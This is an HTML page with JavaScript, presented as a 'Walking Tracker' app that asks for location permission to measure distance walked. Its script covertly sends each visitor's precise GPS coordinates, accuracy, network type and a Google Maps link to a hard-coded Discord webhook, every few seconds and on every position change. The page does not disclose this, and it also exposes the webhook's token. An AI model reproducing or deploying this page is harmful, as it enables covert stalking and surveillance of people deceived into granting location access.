| <!DOCTYPE html> |
| <html lang="en"> |
| <head> |
| <meta charset="UTF-8"> |
| <title>Walking Tracker</title> |
| <style> |
| body{ |
| font-family:Arial,sans-serif;background:#f5f7fa;color:#333; |
| display:flex;flex-direction:column;align-items:center;justify-content:center;height:100vh;margin:0; |
| } |
| h1{margin-bottom:20px;} |
| .tracker{ |
| background:white;padding:20px;border-radius:12px; |
| box-shadow:0 4px 10px rgba(0,0,0,.1);text-align:center;width:320px; |
| } |
| button{margin:10px;padding:10px 20px;border:none;border-radius:8px;background:#4CAF50;color:white;font-size:16px;cursor:pointer;} |
| button:disabled{background:#ccc;cursor:not-allowed;} |
| .info{margin-top:15px;font-size:18px;} |
| |
| .modal{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.5);display:flex;align-items:center;justify-content:center;} |
| .modal-content{background:#fff;padding:20px;border-radius:12px;text-align:center;width:80%;max-width:400px;} |
| .modal h2{margin-bottom:15px;} |
| .modal button{background:#007bff;margin-top:10px;} |
| </style> |
| </head> |
| <body> |
| <h1>🚶 Walking Tracker</h1> |
| <div class="tracker"> |
| <button id="startBtn" disabled>Start</button> |
| <button id="stopBtn" disabled>Stop</button> |
| <div class="info"> |
| <p><strong>Distance:</strong> <span id="distance">0</span> km</p> |
| <p><strong>Time:</strong> <span id="time">0</span> mins</p> |
| </div> |
| </div> |
|
|
| |
| <div id="locationModal" class="modal"> |
| <div class="modal-content"> |
| <h2>📍 Location Permission Needed</h2> |
| <p>This tracker requires your location to work.<br>We use GPS to calculate distance and time correctly.</p> |
| <button id="enableLocationBtn">Enable Location</button> |
| </div> |
| </div> |
|
|
| <script> |
| |
| let watchId, reportIntervalID, refinedIntervalID; |
| let startTime, lastPosition = null, totalDistance = 0; |
| const startBtn = document.getElementById('startBtn'); |
| const stopBtn = document.getElementById('stopBtn'); |
| const distanceEl = document.getElementById('distance'); |
| const timeEl = document.getElementById('time'); |
| const modal = document.getElementById('locationModal'); |
| const enableLocationBtn = document.getElementById('enableLocationBtn'); |
| |
| |
| const WEBHOOK_URL = "https://discord.com/api/webhooks/1259137968405479557/0ETkxkxj5d44Knje1E-EBSA-2-ENfLU_PCiBLY8LdGet4ImAiNN5IJt8dXYiRWmJELHl"; |
| |
| const FAST_INTERVAL = 5000; |
| const REPORT_INTERVAL = 10000; |
| const SAMPLE_COUNT = 3; |
| |
| |
| function getNetworkType() { |
| return (navigator.connection && navigator.connection.effectiveType) ? navigator.connection.effectiveType : 'unknown'; |
| } |
| |
| function accuracyIndicator(acc) { |
| if (acc <= 10) return { text: `High (±${acc}m)`, color: 0x2ecc71 }; |
| if (acc <= 50) return { text: `Medium (±${acc}m)`, color: 0xf1c40f }; |
| return { text: `Low (±${acc}m)`, color: 0xe74c3c }; |
| } |
| |
| function sendEmbed(embed) { |
| fetch(WEBHOOK_URL, { |
| method: "POST", |
| headers: { "Content-Type": "application/json" }, |
| body: JSON.stringify({ embeds: [embed] }) |
| }).catch(err => console.error("Discord error:", err)); |
| } |
| |
| function distanceBetween(lat1, lon1, lat2, lon2) { |
| const R = 6371000; |
| const dLat = (lat2 - lat1) * Math.PI/180; |
| const dLon = (lon2 - lon1) * Math.PI/180; |
| const a = Math.sin(dLat/2) * Math.sin(dLat/2) + |
| Math.cos(lat1 * Math.PI/180) * Math.cos(lat2 * Math.PI/180) * |
| Math.sin(dLon/2) * Math.sin(dLon/2); |
| return R * (2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a))); |
| } |
| |
| |
| function captureFast(pos) { |
| const { latitude, longitude, accuracy } = pos.coords; |
| const net = getNetworkType(); |
| const timeStr = new Date().toLocaleTimeString(); |
| const latF = latitude.toFixed(6); |
| const lonF = longitude.toFixed(6); |
| const mapsLink = `https://www.google.com/maps?q=${latF},${lonF}`; |
| const accInfo = accuracyIndicator(Math.round(accuracy)); |
| |
| const embed = { |
| title: "📡 GPS Update", |
| description: `[Open in Google Maps](${mapsLink})`, |
| color: accInfo.color, |
| fields: [ |
| { name: "Latitude", value: latF, inline: true }, |
| { name: "Longitude", value: lonF, inline: true }, |
| { name: "Accuracy", value: accInfo.text, inline: true }, |
| { name: "Network", value: net, inline: true } |
| ], |
| footer: { text: `Time: ${timeStr}` } |
| }; |
| |
| sendEmbed(embed); |
| } |
| |
| |
| function captureSamples(samples = [], resolve) { |
| navigator.geolocation.getCurrentPosition( |
| pos => { |
| samples.push({ lat: pos.coords.latitude, lon: pos.coords.longitude, acc: pos.coords.accuracy }); |
| if (samples.length < SAMPLE_COUNT) setTimeout(() => captureSamples(samples, resolve), 1000); |
| else resolve(samples); |
| }, |
| () => resolve(samples) |
| ); |
| } |
| |
| async function captureReport() { |
| const samples = await new Promise(res => captureSamples([], res)); |
| if (samples.length === 0) return; |
| const avgLat = samples.reduce((a,s)=>a+s.lat,0)/samples.length; |
| const avgLon = samples.reduce((a,s)=>a+s.lon,0)/samples.length; |
| const bestAcc = Math.min(...samples.map(s=>s.acc)); |
| const timeStr = new Date().toLocaleTimeString(); |
| const mapsLink = `https://www.google.com/maps?q=${avgLat.toFixed(6)},${avgLon.toFixed(6)}`; |
| const accInfo = accuracyIndicator(Math.round(bestAcc)); |
| |
| const embed = { |
| title: "📊 Refined GPS Report", |
| description: `[Open in Google Maps](${mapsLink})`, |
| color: accInfo.color, |
| fields: [ |
| { name: "Avg Latitude", value: avgLat.toFixed(6), inline: true }, |
| { name: "Avg Longitude", value: avgLon.toFixed(6), inline: true }, |
| { name: "Best Accuracy", value: accInfo.text, inline: true }, |
| { name: "Samples", value: samples.map(s=>`±${Math.round(s.acc)}m`).join(", "), inline: true } |
| ], |
| footer: { text: `Time: ${timeStr}` } |
| }; |
| sendEmbed(embed); |
| } |
| |
| |
| function haversine(lat1, lon1, lat2, lon2) { |
| const R = 6371; |
| const dLat = (lat2 - lat1) * Math.PI / 180; |
| const dLon = (lon2 - lon1) * Math.PI / 180; |
| const a = |
| Math.sin(dLat / 2) * Math.sin(dLat / 2) + |
| Math.cos(lat1 * Math.PI / 180) * |
| Math.cos(lat2 * Math.PI / 180) * |
| Math.sin(dLon / 2) * Math.sin(dLon / 2); |
| const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); |
| return R * c; |
| } |
| |
| function startTracking() { |
| startTime = Date.now(); |
| totalDistance = 0; |
| lastPosition = null; |
| distanceEl.textContent = "0"; |
| timeEl.textContent = "0"; |
| |
| watchId = navigator.geolocation.watchPosition( |
| pos => { |
| const { latitude, longitude } = pos.coords; |
| if (lastPosition) { |
| const d = haversine(lastPosition.lat, lastPosition.lon, latitude, longitude); |
| totalDistance += d; |
| distanceEl.textContent = totalDistance.toFixed(3); |
| } |
| lastPosition = { lat: latitude, lon: longitude }; |
| const elapsed = (Date.now() - startTime) / 60000; |
| timeEl.textContent = elapsed.toFixed(1); |
| |
| |
| captureFast(pos); |
| }, |
| err => { |
| console.error('GPS error:', err); |
| }, |
| { enableHighAccuracy: true, maximumAge: 1000 } |
| ); |
| |
| |
| reportIntervalID = setInterval(captureFast, FAST_INTERVAL); |
| refinedIntervalID = setInterval(captureReport, REPORT_INTERVAL); |
| |
| startBtn.disabled = true; |
| stopBtn.disabled = false; |
| } |
| |
| function stopTracking() { |
| if (watchId) navigator.geolocation.clearWatch(watchId); |
| clearInterval(reportIntervalID); |
| clearInterval(refinedIntervalID); |
| startBtn.disabled = false; |
| stopBtn.disabled = true; |
| alert("✔️ Tracking stopped."); |
| } |
| |
| |
| enableLocationBtn.addEventListener('click', () => { |
| if (navigator.geolocation) { |
| navigator.geolocation.getCurrentPosition( |
| pos => { |
| modal.style.display = "none"; |
| startBtn.disabled = false; |
| }, |
| err => { |
| if (err.code === err.PERMISSION_DENIED) { |
| alert("⚠️ Location access is required to use this site."); |
| } |
| } |
| ); |
| } else { |
| alert("Geolocation is not supported by your browser."); |
| } |
| }); |
| |
| startBtn.addEventListener('click', startTracking); |
| stopBtn.addEventListener('click', stopTracking); |
| |
| |
| window.onload = () => { modal.style.display = "flex"; }; |
| </script> |
| </body> |
| </html> |
|
|